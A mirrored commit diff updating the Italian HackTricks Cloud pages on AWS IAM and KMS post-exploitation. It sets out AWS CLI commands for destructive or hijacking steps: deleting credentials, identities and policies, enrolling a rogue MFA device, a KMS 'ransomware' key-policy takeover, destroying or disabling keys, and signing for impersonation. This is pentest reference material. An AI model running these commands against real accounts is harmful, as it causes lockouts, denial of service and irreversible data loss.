mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-11 04:33:31 -08:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
Translator
@@ -4,21 +4,21 @@
|
||||
|
||||
## IAM
|
||||
|
||||
Per ulteriori informazioni sull'accesso IAM:
|
||||
Per maggiori informazioni sull'accesso IAM:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
## Problema del Deputato Confuso
|
||||
## Problema del Confused Deputy
|
||||
|
||||
Se **consenti a un account esterno (A)** di accedere a un **ruolo** nel tuo account, probabilmente avrai **0 visibilità** su **chi può esattamente accedere a quell'account esterno**. Questo è un problema, perché se un altro account esterno (B) può accedere all'account esterno (A), è possibile che **B possa anche accedere al tuo account**.
|
||||
Se **permetti a un account esterno (A)** di accedere a un **role** nel tuo account, probabilmente avrai **0 visibilità** su **chi può esattamente accedere a quell'account esterno**. Questo è un problema, perché se un altro account esterno (B) può accedere all'account esterno (A) è possibile che **B possa anche accedere al tuo account**.
|
||||
|
||||
Pertanto, quando consenti a un account esterno di accedere a un ruolo nel tuo account, è possibile specificare un `ExternalId`. Questa è una stringa "segreta" che l'account esterno (A) **deve specificare** per **assumere il ruolo nella tua organizzazione**. Poiché l'**account esterno B non conoscerà questa stringa**, anche se ha accesso su A, **non potrà accedere al tuo ruolo**.
|
||||
Per questo, quando permetti a un account esterno di accedere a un role nel tuo account è possibile specificare un `ExternalId`. Questa è una stringa "segreta" che l'account esterno (A) **deve specificare** per **assume the role in your organization**. Poiché l'**account esterno B non conoscerà questa stringa**, anche se ha accesso ad A **non potrà accedere al tuo role**.
|
||||
|
||||
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Tuttavia, nota che questo `ExternalId` "segreto" **non è un segreto**, chiunque possa **leggere la policy di assunzione del ruolo IAM sarà in grado di vederlo**. Ma finché l'account esterno A lo conosce, ma l'account esterno **B non lo conosce**, **impedisce a B di abusare di A per accedere al tuo ruolo**.
|
||||
Tuttavia, nota che questo `ExternalId` "segreto" è **non è un segreto**, chiunque possa **read the IAM assume role policy will be able to see it**. Ma finché l'account esterno A lo conosce, e l'account esterno **B non lo conosce**, questo **impedisce a B di abusare di A per accedere al tuo role**.
|
||||
|
||||
Esempio:
|
||||
```json
|
||||
@@ -39,11 +39,11 @@ Esempio:
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Per un attaccante sfruttare un deputy confuso, dovrà in qualche modo scoprire se i principali dell'account attuale possono impersonare ruoli in altri account.
|
||||
> Per un attacker che voglia sfruttare un confused deputy, dovrà in qualche modo verificare se i principals dell'account corrente possono impersonare roles in altri account.
|
||||
|
||||
### Fiducia Inaspettata
|
||||
### Trust inattesi
|
||||
|
||||
#### Wildcard come principale
|
||||
#### Wildcard come principal
|
||||
```json
|
||||
{
|
||||
"Action": "sts:AssumeRole",
|
||||
@@ -51,7 +51,7 @@ Esempio:
|
||||
"Principal": { "AWS": "*" }
|
||||
}
|
||||
```
|
||||
Questa policy **consente a tutti gli AWS** di assumere il ruolo.
|
||||
Questa policy **consente a tutti i servizi AWS** di assumere il ruolo.
|
||||
|
||||
#### Servizio come principale
|
||||
```json
|
||||
@@ -62,9 +62,9 @@ Questa policy **consente a tutti gli AWS** di assumere il ruolo.
|
||||
"Resource": "arn:aws:lambda:000000000000:function:foo"
|
||||
}
|
||||
```
|
||||
Questa policy **consente a qualsiasi account** di configurare il proprio apigateway per chiamare questo Lambda.
|
||||
Questa policy **consente a qualsiasi account** di configurare il proprio apigateway per chiamare questa Lambda.
|
||||
|
||||
#### S3 come principale
|
||||
#### S3 come principal
|
||||
```json
|
||||
"Condition": {
|
||||
"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
|
||||
@@ -73,7 +73,7 @@ Questa policy **consente a qualsiasi account** di configurare il proprio apigate
|
||||
}
|
||||
}
|
||||
```
|
||||
Se un bucket S3 è fornito come principale, poiché i bucket S3 non hanno un ID account, se **hai eliminato il tuo bucket e l'attaccante lo ha creato** nel proprio account, allora potrebbe abusarne.
|
||||
Se un S3 bucket è dato come principal, dato che gli S3 bucket non hanno un Account ID, se hai **eliminato il tuo bucket e l'attaccante lo ha creato** nel proprio account, allora potrebbe abusarne.
|
||||
|
||||
#### Non supportato
|
||||
```json
|
||||
@@ -84,8 +84,81 @@ Se un bucket S3 è fornito come principale, poiché i bucket S3 non hanno un ID
|
||||
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
|
||||
}
|
||||
```
|
||||
Un modo comune per evitare problemi di Confused Deputy è l'uso di una condizione con `AWS:SourceArn` per controllare l'ARN di origine. Tuttavia, **alcuni servizi potrebbero non supportarlo** (come CloudTrail secondo alcune fonti).
|
||||
Un modo comune per evitare i problemi di Confused Deputy è l'uso di una condizione con `AWS:SourceArn` per verificare l'ARN di origine. Tuttavia, **alcuni servizi potrebbero non supportarlo** (per esempio CloudTrail secondo alcune fonti).
|
||||
|
||||
### Eliminazione delle credenziali
|
||||
Con una qualsiasi delle seguenti autorizzazioni — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — un attore può rimuovere access keys, login profiles, chiavi SSH, service-specific credentials, instance profiles, certificati o CloudFront public keys, o dissociare ruoli da instance profiles. Tali azioni possono bloccare immediatamente utenti e applicazioni legittimi e causare denial-of-service o perdita di accesso per i sistemi che dipendono da quelle credenziali, quindi questi permessi IAM devono essere strettamente limitati e monitorati.
|
||||
```bash
|
||||
# Remove Access Key of a user
|
||||
aws iam delete-access-key \
|
||||
--user-name <Username> \
|
||||
--access-key-id AKIAIOSFODNN7EXAMPLE
|
||||
|
||||
## Remove ssh key of a user
|
||||
aws iam delete-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
|
||||
```
|
||||
### Eliminazione delle identità
|
||||
Con permessi come `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, o `iam:RemoveUserFromGroup`, un attore può eliminare utenti, ruoli o gruppi — o modificare l'appartenenza ai gruppi — rimuovendo identità e tracce associate. Questo può interrompere immediatamente l'accesso per persone e servizi che dipendono da quelle identità, causando denial-of-service o perdita di accesso, quindi queste azioni IAM devono essere strettamente limitate e monitorate.
|
||||
```bash
|
||||
# Delete a user
|
||||
aws iam delete-user \
|
||||
--user-name <Username>
|
||||
|
||||
# Delete a group
|
||||
aws iam delete-group \
|
||||
--group-name <Username>
|
||||
|
||||
# Delete a role
|
||||
aws iam delete-role \
|
||||
--role-name <Role>
|
||||
```
|
||||
###
|
||||
Con una qualunque delle seguenti autorizzazioni — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — un attore può eliminare o scollegare policy gestite/inline, rimuovere versioni di policy o permissions boundaries e dissociare le policy da utenti, gruppi o ruoli. Questo distrugge le autorizzazioni e può alterare il modello dei permessi, causando perdita immediata di accesso o denial-of-service per i principals che dipendevano da quelle policy, quindi queste azioni IAM devono essere strettamente limitate e monitorate.
|
||||
```bash
|
||||
# Delete a group policy
|
||||
aws iam delete-group-policy \
|
||||
--group-name <GroupName> \
|
||||
--policy-name <PolicyName>
|
||||
|
||||
# Delete a role policy
|
||||
aws iam delete-role-policy \
|
||||
--role-name <RoleName> \
|
||||
--policy-name <PolicyName>
|
||||
```
|
||||
### Federated Identity Deletion
|
||||
Con `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` e `iam:RemoveClientIDFromOpenIDConnectProvider`, un attore può eliminare OIDC/SAML identity providers o rimuovere client ID. Ciò interrompe l'autenticazione federata, impedendo la validazione dei token e negando immediatamente l'accesso ad utenti e servizi che si basano su SSO fino a quando l'IdP o le configurazioni non vengono ripristinate.
|
||||
```bash
|
||||
# Delete OIDCP provider
|
||||
aws iam delete-open-id-connect-provider \
|
||||
--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com
|
||||
|
||||
# Delete SAML provider
|
||||
aws iam delete-saml-provider \
|
||||
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
|
||||
```
|
||||
### Attivazione MFA illegittima
|
||||
Con `iam:EnableMFADevice`, un attore può registrare un dispositivo MFA sull'identità di un utente, impedendo all'utente legittimo di accedere. Una volta abilitato un MFA non autorizzato, l'utente può essere bloccato fino a quando il dispositivo non viene rimosso o reimpostato (nota: se sono registrati più dispositivi MFA, per l'accesso ne è sufficiente uno, quindi questo attacco non avrà effetto nel negare l'accesso).
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
--serial-number arn:aws:iam::111122223333:mfa/alice \
|
||||
--authentication-code1 123456 \
|
||||
--authentication-code2 789012
|
||||
```
|
||||
### Certificate/Key Metadata Tampering
|
||||
Con `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, un attore può modificare lo stato o i metadati delle chiavi pubbliche e dei certificati. Marcando le chiavi/certificati come inattivi o alterando i riferimenti, può interrompere l'autenticazione SSH, invalidare le validazioni X.509/TLS e interrompere immediatamente i servizi che dipendono da quelle credenziali, causando perdita di accesso o disponibilità.
|
||||
```bash
|
||||
aws iam update-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
--ssh-public-key-id APKAEIBAERJR2EXAMPLE \
|
||||
--status Inactive
|
||||
|
||||
aws iam update-server-certificate \
|
||||
--server-certificate-name <Certificate_Name> \
|
||||
--new-path /prod/
|
||||
```
|
||||
## Riferimenti
|
||||
|
||||
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## KMS
|
||||
|
||||
Per ulteriori informazioni controlla:
|
||||
Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-kms-enum.md
|
||||
@@ -12,15 +12,15 @@ Per ulteriori informazioni controlla:
|
||||
|
||||
### Crittografia/Decrittografia delle informazioni
|
||||
|
||||
`fileb://` e `file://` sono schemi URI utilizzati nei comandi AWS CLI per specificare il percorso ai file locali:
|
||||
`fileb://` and `file://` sono schemi URI usati nei comandi AWS CLI per specificare il percorso ai file locali:
|
||||
|
||||
- `fileb://:` Legge il file in modalità binaria, comunemente usato per file non di testo.
|
||||
- `file://:` Legge il file in modalità testo, tipicamente usato per file di testo semplice, script o JSON che non hanno requisiti di codifica speciali.
|
||||
- `file://:` Legge il file in modalità testo, tipicamente usato per file di testo semplice, script o JSON che non ha requisiti di codifica speciali.
|
||||
|
||||
> [!TIP]
|
||||
> Nota che se vuoi decrittografare alcuni dati all'interno di un file, il file deve contenere i dati binari, non dati codificati in base64. (fileb://)
|
||||
> Nota che se vuoi decrittare dei dati all'interno di un file, il file deve contenere i dati binari, non dati codificati in base64. (fileb://)
|
||||
|
||||
- Utilizzando una chiave **simmetrica**
|
||||
- Usando una chiave **simmetrica**
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
@@ -38,7 +38,7 @@ aws kms decrypt \
|
||||
--query Plaintext | base64 \
|
||||
--decode
|
||||
```
|
||||
- Utilizzando una **chiave asimmetrica**:
|
||||
- Utilizzando una chiave **asimmetrica**:
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
@@ -60,14 +60,14 @@ aws kms decrypt \
|
||||
```
|
||||
### KMS Ransomware
|
||||
|
||||
Un attaccante con accesso privilegiato su KMS potrebbe modificare la policy KMS delle chiavi e **concedere al proprio account accesso su di esse**, rimuovendo l'accesso concesso all'account legittimo.
|
||||
Un attaccante con accesso privilegiato a KMS potrebbe modificare la KMS policy delle chiavi e **concedere al proprio account l'accesso su di esse**, rimuovendo l'accesso concesso all'account legittimo.
|
||||
|
||||
In questo modo, gli utenti dell'account legittimo non saranno in grado di accedere a nessuna informazione di alcun servizio che è stato crittografato con quelle chiavi, creando un ransomware facile ma efficace sull'account.
|
||||
In seguito, gli utenti dell'account legittimo non potranno accedere a nessuna informazione di alcun servizio crittografata con quelle chiavi, creando un ransomware semplice ma efficace sull'account.
|
||||
|
||||
> [!WARNING]
|
||||
> Nota che **le chiavi gestite da AWS non sono colpite** da questo attacco, solo **le chiavi gestite dal cliente**.
|
||||
> Nota che **AWS managed keys non sono interessate** da questo attacco, solo **Customer managed keys**.
|
||||
|
||||
> Nota anche la necessità di utilizzare il parametro **`--bypass-policy-lockout-safety-check`** (l'assenza di questa opzione nella console web rende questo attacco possibile solo dalla CLI).
|
||||
> Inoltre, nota la necessità di usare il parametro **`--bypass-policy-lockout-safety-check`** (la mancanza di questa opzione nella console web rende questo attacco possibile solo dalla CLI).
|
||||
```bash
|
||||
# Force policy change
|
||||
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
@@ -92,34 +92,91 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
}
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Nota che se cambi quella policy e dai accesso solo a un account esterno, e poi da questo account esterno provi a impostare una nuova policy per **ridare accesso all'account originale, non sarai in grado di farlo perché l'azione Put Policy non può essere eseguita da un account diverso**.
|
||||
> Nota che se cambi quella policy e concedi accesso solo a un account esterno, e poi da questo account esterno provi a impostare una nuova policy per **restituire l'accesso all'account originale, non ci riuscirai perché l'azione Put Polocy non può essere eseguita da un cross account**.
|
||||
|
||||
<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Ransomware KMS Generico
|
||||
### Generic KMS Ransomware
|
||||
|
||||
#### Ransomware KMS Globale
|
||||
Esiste un altro modo per eseguire un KMS Ransomware globale, che comporterebbe i seguenti passaggi:
|
||||
|
||||
C'è un altro modo per eseguire un ransomware KMS globale, che comporterebbe i seguenti passaggi:
|
||||
- Crea una nuova **key with a key material** importata dall'attaccante
|
||||
- **Re-encrypt older data** della vittima che erano cifrati con la versione precedente, utilizzando quella nuova.
|
||||
- **Delete the KMS key**
|
||||
- Ora solo l'attaccante, che possiede il key material originale, potrebbe essere in grado di decriptare i dati cifrati
|
||||
|
||||
- Creare una nuova **chiave con un materiale di chiave** importato dall'attaccante
|
||||
- **Ri-criptare i dati più vecchi** criptati con la versione precedente con la nuova.
|
||||
- **Eliminare la chiave KMS**
|
||||
- Ora solo l'attaccante, che ha il materiale di chiave originale, potrebbe essere in grado di decriptare i dati criptati
|
||||
### Delete Keys via kms:DeleteImportedKeyMaterial
|
||||
|
||||
### Distruggere chiavi
|
||||
Con il permesso `kms:DeleteImportedKeyMaterial`, un attore può cancellare il key material importato dalle CMKs con `Origin=EXTERNAL` (CMKs che hanno importato il loro key material), rendendole incapaci di decriptare i dati. Questa azione è distruttiva e irreversibile a meno che non venga re-importato del materiale compatibile, permettendo a un attaccante di causare effettivamente una perdita di dati simile a ransomware rendendo le informazioni cifrate permanentemente inaccessibili.
|
||||
```bash
|
||||
# Destoy they key material previously imported making the key useless
|
||||
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab
|
||||
aws kms delete-imported-key-material --key-id <Key_ID>
|
||||
```
|
||||
### Distruggere le chiavi
|
||||
|
||||
Distruggendo le chiavi è possibile eseguire un DoS.
|
||||
```bash
|
||||
# Schedule the destoy of a key (min wait time is 7 days)
|
||||
aws kms schedule-key-deletion \
|
||||
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
|
||||
--pending-window-in-days 7
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Nota che AWS ora **prevenire che le azioni precedenti vengano eseguite da un account diverso:**
|
||||
> Nota che AWS ora **impedisce che le azioni precedenti vengano eseguite da un cross-account:**
|
||||
|
||||
### Modificare o eliminare Alias
|
||||
Questo attacco elimina o reindirizza gli alias di AWS KMS, interrompendo la risoluzione delle chiavi e causando malfunzionamenti immediati in qualsiasi servizio che si basi su quegli alias, con conseguente denial-of-service. Con permessi come `kms:DeleteAlias` o `kms:UpdateAlias` un attaccante può rimuovere o ripuntare gli alias e interrompere le operazioni crittografiche (es., encrypt, describe). Qualsiasi servizio che faccia riferimento all'alias invece che all'ID della chiave può non funzionare fino a quando l'alias non venga ripristinato o rimappato correttamente.
|
||||
```bash
|
||||
# Delete Alias
|
||||
aws kms delete-alias --alias-name alias/<key_alias>
|
||||
|
||||
# Update Alias
|
||||
aws kms update-alias \
|
||||
--alias-name alias/<key_alias> \
|
||||
--target-key-id <new_target_key>
|
||||
```
|
||||
### Cancel Key Deletion
|
||||
Con permessi come `kms:CancelKeyDeletion` e `kms:EnableKey`, un attore può annullare una cancellazione programmata di una AWS KMS customer master key e successivamente riattivarla. Così facendo la chiave viene recuperata (inizialmente in stato Disabled) e ripristina la sua capacità di decifrare dati precedentemente protetti, permettendo exfiltration.
|
||||
```bash
|
||||
# Firts cancel de deletion
|
||||
aws kms cancel-key-deletion \
|
||||
--key-id <Key_ID>
|
||||
|
||||
## Second enable the key
|
||||
aws kms enable-key \
|
||||
--key-id <Key_ID>
|
||||
```
|
||||
### Disable Key
|
||||
Con il permesso `kms:DisableKey`, un attore può disabilitare una AWS KMS customer master key (CMK), impedendone l'uso per la cifratura o la decifratura. Questo interrompe l'accesso per qualsiasi servizio che dipende da quella CMK e può causare interruzioni immediate o un denial-of-service fino a quando la chiave non viene riabilitata.
|
||||
```bash
|
||||
aws kms disable-key \
|
||||
--key-id <key_id>
|
||||
```
|
||||
### Derivare Shared Secret
|
||||
Con il permesso `kms:DeriveSharedSecret`, un attore può usare una private key detenuta da KMS insieme a una public key fornita dall'utente per calcolare un ECDH shared secret.
|
||||
```bash
|
||||
aws kms derive-shared-secret \
|
||||
--key-id <key_id> \
|
||||
--public-key fileb:///<route_to_public_key> \
|
||||
--key-agreement-algorithm <algorithm>
|
||||
```
|
||||
### Impersonation via kms:Sign
|
||||
Con il permesso `kms:Sign`, un attore può usare una CMK memorizzata in KMS per firmare crittograficamente i dati senza esporre la chiave privata, producendo firme valide che possono abilitare impersonation o autorizzare azioni malevole.
|
||||
```bash
|
||||
aws kms sign \
|
||||
--key-id <key-id> \
|
||||
--message fileb://<ruta-al-archivo> \
|
||||
--signing-algorithm <algoritmo> \
|
||||
--message-type RAW
|
||||
```
|
||||
### DoS with Custom Key Stores
|
||||
Con permessi come `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, o `kms:UpdateCustomKeyStore`, un attore può modificare, disconnettere o eliminare un AWS KMS Custom Key Store (CKS), rendendo inoperabili le sue chiavi master. Ciò interrompe le operazioni di cifratura, decifratura e firma per qualsiasi servizio che si appoggi a quelle chiavi e può causare un DoS immediato. Limitare e monitorare tali permessi è quindi fondamentale.
|
||||
```bash
|
||||
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
|
||||
|
||||
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
|
||||
|
||||
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
|
||||
```
|
||||
<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user